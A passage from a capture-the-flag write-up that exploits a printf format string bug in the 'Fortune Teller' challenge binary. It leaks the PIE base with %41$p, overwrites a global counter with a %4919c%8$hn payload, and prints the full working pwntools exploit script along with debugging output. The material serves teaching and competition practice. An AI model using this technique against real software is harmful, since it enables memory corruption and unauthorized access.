printf as the format string. That single missing
"%s" is enough for both halves of the attack: %p leaks the
randomized ELF base, and %n turns the same call into an arbitrary write.
The goal is a global counter named blessing, which must hold
0x1337 before the service will open flag.txt. All of Full
RELRO (RELocation Read-Only), stack canary, NX and PIE are enabled, and none of them
matter: the target is a writable global in .bss, so there is no need to touch a return
address, a canary or the GOT. The live service speaks TLS on port 1337, which adds its
own small surprise.
Fortune Teller
The oracle will answer any question, but it may reveal more than it should.
Connect to the service and recover the flag.
Files provided:Protections: Full RELRO, stack canary, NX, PIE.
fortunechall.c
Three files, one of them the C source - so no reversing is needed to find the bug.
$ ls -l
-rw-r--r--@ 1 feyrer staff 254 Oct 8 12:00 README.md
-rw-r--r--@ 1 feyrer staff 1928 Oct 8 12:00 chall.c
-rwxr-xr-x@ 1 feyrer staff 16760 Oct 8 12:00 fortune
$ file fortune
fortune: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=410430c337251947da0320ec082afd0b12828c42, for GNU/Linux 3.2.0, not stripped
A per-team instance, reachable over TLS - plain nc will not do, the client
has to wrap the connection:
$ ncat --ssl fortune-teller-a7f01166ad1f.inst15.ctf.fortid.com 1337
=== Fortune Teller ===
1. Ask the oracle
2. Receive blessing
3. Leave
> 2
You are not blessed yet. Current blessing: 0x0
1. Ask the oracle
2. Receive blessing
3. Leave
> 3
The future fades away...
Option 2 is the win condition and it reports the current value of the counter, which is a convenient oracle for checking whether a write landed. The menu loops, so the format string bug can be used as often as needed - leak first, write second.
The handout ships chall.c, so the first look goes there rather than into a
disassembler.
volatile unsigned int blessing = 0;
static void ask_oracle(void) {
char question[256];
puts("Ask the oracle anything:");
printf("> ");
fflush(stdout);
read_line(question, sizeof(question));
puts("The oracle speaks:");
printf(question); /* <-- the bug */
putchar('\n');
}
static void receive_blessing(void) {
if (blessing == 0x1337) {
puts("The stars are aligned.");
win();
} else {
printf("You are not blessed yet. Current blessing: 0x%x\n", blessing);
}
}
printf(question) with user-controlled question is a textbook
format string vulnerability. The protections confirm what it has to be used for:
$ pwn checksec fortune
[*] '/Users/feyrer/Desktop/FortID-CTF2026/pwn-FortuneTeller/fortune_teller_public/fortune'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
Conclusion: no shellcode (NX), no GOT overwrite (Full RELRO), no return address
games worth the trouble (canary plus Shadow Stack and Indirect Branch Tracking). But none
of that is needed: blessing is an ordinary writable global, and
receive_blessing() calls win() for us. Two things are required -
the runtime address of blessing (PIE), and a write primitive.
%p (success)
%p prints whatever happens to sit in printf's argument slots. Walking the
slots until something looks like a code pointer gives the PIE base.
$ ( echo 1; echo '%33$p' ) | ./fortune
=== Fortune Teller ===
1. Ask the oracle
2. Receive blessing
3. Leave
> Ask the oracle anything:
> The oracle speaks:
0x55561e1bcd68
Repeat it to see that the value moves with Address Space Layout Randomization (ASLR) and keeps its shape:
$ for i in $(seq 10) ; do ( echo 1; echo '%33$p' ) | ./fortune | grep 0x ; done
0x559862ecdd68
0x55addda03d68
0x5556244b7d68
0x55fabea8fd68
0x55e52097dd68
0x55e0e4396d68
0x55cd79cfdd68
0x55d4de365d68
0x55a936304d68
0x55cac5ecad68
Pin the offset down under the debugger:
$ gdb -q -batch -ex 'start' -ex 'info proc map' ./fortune
Temporary breakpoint 1, 0x000055555555557c in main ()
Mapped address spaces:
Start Addr End Addr Size Offset Perms File
0x0000555555554000 0x0000555555555000 0x1000 0x0 r--p /home/feyrer/FortID-CTF2026/pwn-FortuneTeller/fortune
0x0000555555555000 0x0000555555556000 0x1000 0x1000 r-xp /home/feyrer/FortID-CTF2026/pwn-FortuneTeller/fortune
0x0000555555556000 0x0000555555557000 0x1000 0x2000 r--p /home/feyrer/FortID-CTF2026/pwn-FortuneTeller/fortune
0x0000555555557000 0x0000555555558000 0x1000 0x2000 r--p /home/feyrer/FortID-CTF2026/pwn-FortuneTeller/fortune
0x0000555555558000 0x0000555555559000 0x1000 0x3000 rw-p /home/feyrer/FortID-CTF2026/pwn-FortuneTeller/fortune
gef> print 0x555555557d68 - 0x2d68
$1 = 0x555555555000
And the instruction that reads the counter names its address outright:
0x55555555551a <receive_blessing+001b> mov eax, DWORD PTR [rip+0x2b2c] # 0x55555555804c <blessing>
Conclusion: with the %33$p leak, proc_base = leak - 0x2d68
and blessing = proc_base + 0x304c. Note that proc_base here is the
text page, not the ELF base - the two differ by 0x1000, which matters later in 3.7.
%n writes the number of characters emitted so far to the address in its
argument slot. Nobody passes such an argument here, so printf reads it off the stack -
and the stack is where our own buffer lives. The question is which slot number corresponds
to the buffer.
$ objdump -d --no-show-raw-insn fortune | sed -n '/<ask_oracle>:/,/ret/p'
0000000000001457 <ask_oracle>:
1457: endbr64
145b: pushq %rbp
145c: movq %rsp, %rbp
145f: subq $0x110, %rsp
...
14ca: leaq -0x110(%rbp), %rax
14d1: movq %rax, %rdi
14d4: movl $0x0, %eax
14d9: callq 0x1140 <.plt.sec+0x40> # printf
question sits at rbp-0x110, and because the frame is set up with
a single sub $0x110, %rsp and nothing is pushed afterwards,
rsp at the printf call is the same address. On the
System V AMD64 ABI the first five variadic arguments come from registers and the sixth is
the first stack slot - which is therefore question[0]:
slot 1..5 rsi, rdx, rcx, r8, r9
slot 6 question[ 0: 8] <- our own input starts here
slot 7 question[ 8:16]
slot 8 question[16:24]
...
slot 39 rbp-0x08 canary (0x110-0x08 = 0x108 = 33 qwords past the buffer)
slot 40 rbp+0x00 saved rbp
slot 41 rbp+0x08 return address into main
The symbol table gives the file offset of the target:
$ nm fortune | grep -iE "blessing|win|main|ask_oracle|receive"
000000000000404c B blessing
0000000000001570 T main
00000000000014ff t receive_blessing
00000000000012a9 t win
0000000000001457 t ask_oracle
That is everything needed to build the payload. 0x1337 is 4919 decimal, so
%4919c drives the character counter to exactly the wanted value (a width in
%c counts the printed character itself), and %8$hn stores it as
two bytes. blessing is a 4-byte unsigned int in .bss and starts
out zero, so writing only the low half is enough:
fmt = b'%4919c%8$hn' # 0x1337 = 4919
payload = fmt.ljust(16, b'A') # align to 16 bytes
payload += p64(blessing)
Two details are load-bearing. The format string is 11 bytes, which would put the address
at a non-aligned position, hence the padding to 16 - slot boundaries are 8 bytes apart, and
16 lands on slot 8. And the address has to come after the conversions: it contains
null bytes, at which printf stops reading. The null bytes do reach the buffer, because
read_line() only stops at a newline.
Conclusion: one menu iteration to leak, a second one to write. Works locally.
The local exploit was correct, so switching process() for
remote(..., ssl=True) should have been the whole porting effort.
$ python3 3hf-remote.py DEBUG=1
[x] Opening connection to fortune-teller-a7f01166ad1f.inst15.ctf.fortid.com on port
[+] : Done
(nothing, forever)
Probing the host by hand shows why. The name carries both an A and an AAAA record, and only one of them works - the IPv6 address accepts the TCP connection and then never completes the TLS handshake:
[IPv4] TCP ok -> 2.31.29.163 TLS ok: TLSv1.2 ECDHE-RSA-CHACHA20-POLY1305
[IPv4] banner: '=== Fortune Teller ===\n\n1. Ask the oracle\n2. Receive blessing\n3. Leave'
[IPv6] TCP ok -> 2a01:4f8:c01e:6fe::1 FAIL: timeout (handshake)
Worth noting while poking at the name: an invented hostname in the same domain resolves to the very same pair of addresses, i.e. there is a wildcard record. A name that resolves proves nothing about the instance being alive.
$ host definitely-does-not-exist-xyz123.inst15.ctf.fortid.com
definitely-does-not-exist-xyz123.inst15.ctf.fortid.com has address 2.31.29.163
definitely-does-not-exist-xyz123.inst15.ctf.fortid.com has IPv6 address 2a01:4f8:c01e:6fe::1
Conclusion: pwntools defaults to fam='any' and picks the AAAA record on
a dual-stacked machine, so it hangs where ncat happened to pick IPv4 and
worked. Forcing the family fixes it: remote(host, port, ssl=True, fam='ipv4').
%33$p had been rock solid across ten local runs, so it was taken as a
reliable offset.
It is not. Slot 33 is 27 quadwords past the start of the buffer, i.e. 216 bytes
inside question[256] itself. read_line() writes only
what was typed plus a terminator, so everything behind that is stale stack data left over
from earlier calls. It reproduces perfectly as long as the program takes the exact same
path every time, and stops reproducing the moment anything before it differs.
Conclusion: use slot 41 instead. From the slot table in 3.3 that is
ask_oracle's saved return address, a real pointer rather than garbage, and it
always points just past the call site in main at 0x1664.
Swapping %33$p for %41$p looked like a one-line change.
$ python3 3hf-remote.py
leak = 0x55f375c96664
elf_base = 0x55f375c938fc
blessing = 0x55f375c96948
[DEBUG] Sent 0x19 bytes:
00000000 25 34 39 31 39 63 25 38 24 68 6e 41 41 41 41 41 |%491|9c%8|$hnA|AAAA|
00000010 48 69 c9 75 f3 55 00 00 0a |Hi.u|.U..|.|
[DEBUG] Received 0x393 bytes:
b'The oracle speaks:\n'
b' ...'
[DEBUG] Received 0xb50 bytes:
b' ' * 0xb50
[DEBUG] Received 0x2b0 bytes:
b' ' * 0x2b0
[DEBUG] Received 0x180 bytes:
b' ' * 0x180
Traceback (most recent call last):
File "3hf-remote.py", line 43, in <module>
p.sendlineafter(b'> ', b'2')
EOFError
The two constants from 3.2 were left in place. They belong to the old leak:
| Leak | base | target |
|---|---|---|
%33$p | leak - 0x2d68 (text page) | + 0x304c |
%41$p | leak - 0x1664 (ELF base) | + 0x404c |
Both pairs are individually correct and arrive at the same address - the old
proc_base is just the text page, one page above the ELF base, which is why
0x304c and 0x404c differ by 0x1000. Mixing them put the write
0x2704 bytes off target, into a read-only page, and the segmentation fault surfaced as the
EOFError. The debug trace shows it precisely: 4864 of the 4919 spaces
had already arrived, so the counter ran fine and the process died on the store itself.
Conclusion: elf_base must end in 000. The printed
0x55f375c938fc was visibly wrong before anything was even sent - a free
sanity check worth building in.
Conclusion: fam='ipv4', %41$p, and
-0x1664/+0x404c. Flag on the first try.
The tested exploit, as it actually ran:
#!python3
from pwn import *
#challenge='./fortune'
remote_host='fortune-teller-a7f01166ad1f.inst15.ctf.fortid.com'
remote_port = 1337
#p = process(challenge)
p = remote(remote_host, remote_port, ssl=True, fam='ipv4') # Hangs with IPv6 :(
print("Connected.")
# Step 1: leak ELF base
#
p.sendlineafter(b'> ', b'1')
#p.sendlineafter(b'> ', b'%33$p') # Backup: %41$p
p.sendlineafter(b'> ', b'%41$p') # Backup: %41$p
p.recvuntil(b'The oracle speaks:')
junk = p.recvline() #
leak = p.recvline().decode()
leak = int(leak.strip(), 16)
print(f"leak = " + hex(leak))
#
#elf_base = leak - 0x2d68 # ghidra & gdb @ %33$p
elf_base = leak - 0x1664 # ghidra & gdb @ %41$p
print(f"elf_base = " + hex(elf_base))
#
#blessing = elf_base + 0x304c # gdb @ %33$p
blessing = elf_base + 0x404c # gdb @ %41$p
print(f"blessing = " + hex(blessing))
# Step 2: use format string attack to set 'blessing'
#
fmt = b'%4919c%8$hn' # 0x1337 = 4919
payload = fmt.ljust(16, b'A') # align to 16 bytes
payload += p64(blessing)
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'> ', payload)
# Step 3: harvest flag
#
p.sendlineafter(b'> ', b'2')
p.recvuntil(b'The stars are aligned.')
print(p.recvall(timeout=2).decode())
$ python3 3hf-remote.py
[x] Opening connection to fortune-teller-a7f01166ad1f.inst15.ctf.fortid.com on pOpening connection to fortune-teller-a7f01166ad1f.inst15.ctf.fortid.com on port
Opening connection to fortune-teller-a7f01166ad1f.inst15.ctf.fortid.com on port [+] : Done
Connected.
leak = 0x563e765b8664
elf_base = 0x563e765b7000
blessing = 0x563e765bb04c
[+] iving all data: Done (148B)
[*] Closed connection to fortune-teller-a7f01166ad1f.inst15.ctf.fortid.com port 1337
FortID{Fortun3_Fav0r5_Th3_b0ld_bu7_al50_Th05e_Th4t_C4n_Expl0i7_F0rma7_Str1ng_VulnZZ_6b462c4e6b}
1. Ask the oracle
2. Receive blessing
3. Leave
>
$
| # | Stage | Mechanism |
|---|---|---|
| 1 | Leak the ELF base | %41$p prints ask_oracle's saved return address, which is
always elf_base + 0x1664. Slot 41 is rbp+0x08, past the
buffer, the canary and the saved rbp. |
| 2 | Locate the target | blessing is at elf_base + 0x404c per nm - a
writable unsigned int in .bss, so Full RELRO, NX and the canary are all
irrelevant. |
| 3 | Put the target address into an argument slot | question[256] sits at rbp-0x110, which equals
rsp at the printf call, so the buffer is printf's
first stack argument (slot 6). Padding the format string to 16 bytes places
p64(blessing) in slot 8. It has to go last, because the address contains
null bytes. |
| 4 | Drive the character counter to 0x1337 | %4919c emits 4919 characters, and 4919 == 0x1337. The field width counts
the printed character itself. |
| 5 | Write | %8$hn takes slot 8 as a pointer and stores the counter there as two
bytes. The upper half of the unsigned int is still zero from .bss, so
blessing == 0x1337 exactly. |
| 6 | Collect | Menu option 2 passes the comparison in receive_blessing(), which calls
win() - and that simply prints flag.txt. |
(Click to enlarge)